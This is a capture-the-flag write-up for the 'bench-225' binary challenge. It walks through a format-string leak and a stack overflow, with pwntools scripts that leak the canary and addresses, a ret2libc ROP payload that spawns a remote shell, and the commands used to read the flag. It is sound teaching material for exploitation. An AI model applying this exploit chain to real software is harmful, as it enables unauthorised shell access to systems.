pwn/bench-225
1
2
3
4
5
6
7
8
Life is one big tug of war. And you don't win the war by pushing the rope.
Files:
bench-225
nc bench-225.ctf.umasscybersec.org 1337
In this challenge we are given a compiled 64bit binary.
running checksec shows the we have full protections:
1
2
3
4
5
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Running the binary we see it gives us 5 options, Add 10s, Add 25s Add 45s, Bench and Remove Plate.
I’ll start with opening it up with Ghidra, In main I saw an extra option, option 6 for Motivational Quote.
The “motivation” function has two vulnerabilities.
The first being fgets on line 17 is reading in 1000 bytes into local_18 which is set as only 8. This gives us an overflow.
The 2nd is line 20 when the program uses printf without any format specifer, giving us a format strings. This will let us leak important data such as the stack canary, libc and elf addresses. We can use all of those to ret2libc and get a shell.
Lets first get into this function.
1
2
3
if ((stam < 0x32) && (DAT_00107092 <= g_Barbell)) {
puts("6. Motivational Quote");
}
So for this option to appear we need low stamina, and the “barbell” to be above another value.
To achieve this I would just get the lbs above 200, and drain my stamina.
As expected, i can use the format strings to leak data here.
For this part I like to use a fuzz script to give me a bunch of leaks and i’ll go and check the useful ones myself after.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
for i in range(1,20):
io = process('./bench-225',level='error')
for x in range(5):
io.sendline(b'3')
for x in range(6):
io.sendline(b'4')
payload = f"%{i}$p"
io.sendline(b'6')
io.sendlineafter(b'quote:',payload)
io.recvuntil(b'Quote:')
print(io.recvline(),i)
io.close()
This will print the leak, and the offset that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ python3 fuzz.py
b' "0x7fff4364ba80\n' 1
b' "(nil)\n' 2
b' "0x7f8f1f314887\n' 3
b' "0x8\n' 4
b' "(nil)\n' 5
b' "(nil)\n' 6
b' "0xa016da080\n' 7
b' "0xa70243825\n' 8
b' "0xa93ade3f14484a00\n' 9
b' "0x7ffea69d6f50\n' 10
b' "0x55f76fde06a1\n' 11
b' "0x600000000\n' 12
b' "0x15549807e3813f00\n' 13
b' "0x1\n' 14
b' "0x7f111b829d90\n' 15
b' "(nil)\n' 16
b' "0x55a8003b935c\n' 17
b' "0x100000000\n' 18
b' "0x7fff6adc7928\n' 19
The ones that look intresting are, 9 (canary) 13(also could be canary), 15 and 11
Using GDB ill leak those addresses and check what they are. Using the Canary command inside GDB I can confirm: 13 is the canary 11 is main+837 15 is _libc_start_call_main+128
Lets script this part together. I start by getting the option 6 to show up.
for x in range(5):
io.sendline(b'3')
for x in range(6):
io.sendline(b'4')
get the 3 leaks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
payload = b"%13$p"
io.sendline(b'6')
io.sendlineafter(b'quote:',payload)
io.recvuntil(b'Quote:')
canary = int(io.recvline().strip()[1:].decode(),16)
log.info(hex(canary))
payload = b"%11$p"
io.sendline(b'6')
io.sendlineafter(b'quote:',payload)
io.recvuntil(b'Quote:')
main_leak = int(io.recvline().strip()[1:].decode(),16)
log.info(hex(main_leak))
payload = b"%15$p"
io.sendline(b'6')
io.sendlineafter(b'quote:',payload)
io.recvuntil(b'Quote:')
libc_leak = int(io.recvline().strip()[1:].decode(),16)
log.info(hex(libc_leak))
Calculate the base addresses:
1
2
3
4
5
6
7
main_base = main_leak - elf.symbols.main - 837
elf.address = main_base
log.info(hex(main_base))
libc_base = libc_leak - 0x29d90
log.info(hex(libc_base))
libc.address = libc_base
and now I have all I need for a ret2libc:
We have a stack canary and the buffer was only 8 bytes, So we start with 8 bytes of “junk” followed by the stack canary, I use 8 \x00 to padding and the rest is a normal “ret2libc” loading binsh into pop rdi so we can run system(/bin/sh) on the remote server.
1
2
3
4
5
6
7
8
9
10
11
12
13
payload = b'A'*8
payload += p64(canary)
payload += b'\x00' *8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.symbols.system)
io.sendline(b'6')
io.sendline(payload)
io.interactive()
Unlike most CTFs, the flag was not in the directory the shell spawned me into,
So I ran find / 2>/dev/null | grep flag.txt
and I see the flag is in /home/tmp_bench_225/flag.txt
1
2
$ cat /home/tmp_bench_225/flag.txt
UMASS{wh0$e_g0nn4_c4rry_t3h_r0pz_&nd_d4_ch41nz?}